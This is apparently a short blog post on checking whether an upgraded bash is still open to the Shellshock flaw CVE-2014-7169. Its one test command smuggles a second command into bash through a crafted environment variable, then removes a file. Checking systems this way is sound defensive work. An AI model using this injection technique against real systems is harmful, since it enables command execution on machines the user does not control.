Testing Shellshock Bug In BASH – CVE-2014-7169 (Exploit 2)

Even after upgrading bash you may still be vulnerable to this exploit. Try running the following code.

env testbug='() { (CEV-2014-7169)=>\' bash -c "echo date"; cat echo ; rm -f echo

If the above command outputs the current date (it may also show errors), you are still vulnerable.

No comments yet.

Leave a Reply